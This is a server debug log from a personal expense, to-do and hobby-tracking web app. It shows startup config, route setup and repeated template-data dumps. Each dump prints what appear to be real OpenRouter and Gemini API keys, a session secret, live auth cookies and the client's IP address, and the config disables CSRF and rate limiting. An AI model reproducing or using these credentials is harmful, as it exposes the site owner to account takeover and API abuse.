  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-04-21T16:44:01.709Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-21T16:44:01.891Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-21T16:44:01.977Z server-connect:setup:upload Upload middleware configured.
2026-04-21T16:44:01.977Z server-connect:secure CSRF Protection initialized
2026-04-21T16:44:01.979Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-21T16:44:01.980Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-21T16:44:01.981Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-21T16:44:01.982Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-21T16:44:01.982Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-21T16:44:01.983Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-21T16:44:01.984Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-21T16:44:01.985Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-21T16:44:01.985Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-21T16:44:01.985Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-21T16:44:01.988Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-21T16:44:01.988Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-21T16:44:01.989Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-21T16:44:01.989Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-21T16:44:01.989Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-21T16:44:01.990Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-21T16:44:01.990Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-21T16:44:01.990Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-21T16:44:01.991Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-21T16:44:01.991Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-21T16:44:01.991Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-21T16:44:01.992Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-21T16:44:01.992Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-21T16:44:01.992Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-21T16:44:01.992Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-21T16:44:01.993Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-21T16:44:01.993Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-21T16:44:01.993Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-21T16:44:01.993Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-21T16:44:01.993Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-21T16:44:01.994Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-21T16:44:01.994Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-21T16:44:01.994Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-21T16:44:01.994Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-21T16:44:01.994Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-21T16:44:01.995Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-21T16:44:01.995Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-21T16:44:01.995Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-21T16:44:02.127Z server-connect:router Serving templateView /house-planner
2026-04-21T16:44:02.130Z server-connect:app Executing action step identify
2026-04-21T16:44:02.130Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:02.132Z server-connect:output identity: 1
2026-04-21T16:44:02.132Z server-connect:app Executing action step restrict
2026-04-21T16:44:02.132Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:44:02.134Z server-connect:output restrict: undefined
2026-04-21T16:44:02.134Z server-connect:router Render template house-planner
2026-04-21T16:44:02.134Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:44:02.357Z server-connect:router Serving templateView /
2026-04-21T16:44:02.357Z server-connect:app Executing action step identify
2026-04-21T16:44:02.358Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:02.358Z server-connect:output identity: 1
2026-04-21T16:44:02.358Z server-connect:app Executing action step restrict
2026-04-21T16:44:02.358Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:44:02.359Z server-connect:output restrict: undefined
2026-04-21T16:44:02.359Z server-connect:app Executing action step restrict
2026-04-21T16:44:02.359Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:44:02.360Z server-connect:output restrict: undefined
2026-04-21T16:44:02.360Z server-connect:router Render template layouts/main
2026-04-21T16:44:02.360Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-21T16:44:07.170Z server-connect:router Serving templateView /todo
2026-04-21T16:44:07.170Z server-connect:app Executing action step identify
2026-04-21T16:44:07.170Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:07.171Z server-connect:output identity: 1
2026-04-21T16:44:07.171Z server-connect:app Executing action step restrict
2026-04-21T16:44:07.171Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:44:07.171Z server-connect:output restrict: undefined
2026-04-21T16:44:07.171Z server-connect:router Render template todo
2026-04-21T16:44:07.172Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-21T16:44:07.390Z server-connect:router Serving serverConnect /api/todo/list_active
2026-04-21T16:44:07.391Z server-connect:router Serving serverConnect /api/todo/list_someday
2026-04-21T16:44:07.391Z server-connect:app Executing action step identify
2026-04-21T16:44:07.391Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:07.392Z server-connect:output identity: 1
2026-04-21T16:44:07.392Z server-connect:app Executing action step restrict
2026-04-21T16:44:07.392Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:07.392Z server-connect:app Executing action step identify
2026-04-21T16:44:07.392Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:07.392Z server-connect:output identity: 1
2026-04-21T16:44:07.392Z server-connect:app Executing action step restrict
2026-04-21T16:44:07.392Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:07.393Z server-connect:output restrict: undefined
2026-04-21T16:44:07.394Z server-connect:app Executing action step select
2026-04-21T16:44:07.394Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `todos`.*, `tr`.`repeat_type`, `tr`.`next_due_date`, `tf`.`required_amount`, `tf`.`saved_amount` from `todos` left join `todo_recurrence` as `tr` on `tr`.`todo_id` = `todos`.`id` left join `todo_financial` as `tf` on `tf`.`todo_id` = `todos`.`id` where `todos`.`section` = ? order by `todos`.`id` ASC',
    params: [],
    orders: [ [Object] ]
  }
}
2026-04-21T16:44:07.397Z server-connect:output restrict: undefined
2026-04-21T16:44:07.397Z server-connect:app Executing action step select
2026-04-21T16:44:07.397Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: "select * from `todos` where `todos`.`section` = 'someday' order by `todos`.`created_at` DESC",
    params: [],
    orders: [ [Object] ]
  }
}
2026-04-21T16:44:07.400Z server-connect:output querySomeday: [
  {
    id: 8,
    title: 'Learn Blender',
    description: '3D modeling & animation. Useful for game dev and YouTube content.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 9,
    title: 'Start new YouTube series',
    description: 'Dev vlog or tutorial channel about budgeting apps. Good side project.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 10,
    title: 'Upgrade home office setup',
    description: 'Better monitor arm, LED strip, and a sit-stand desk. Eventually.',
    category: 'Finance',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  }
]
2026-04-21T16:44:07.403Z server-connect:output queryActive: [
  {
    id: 1,
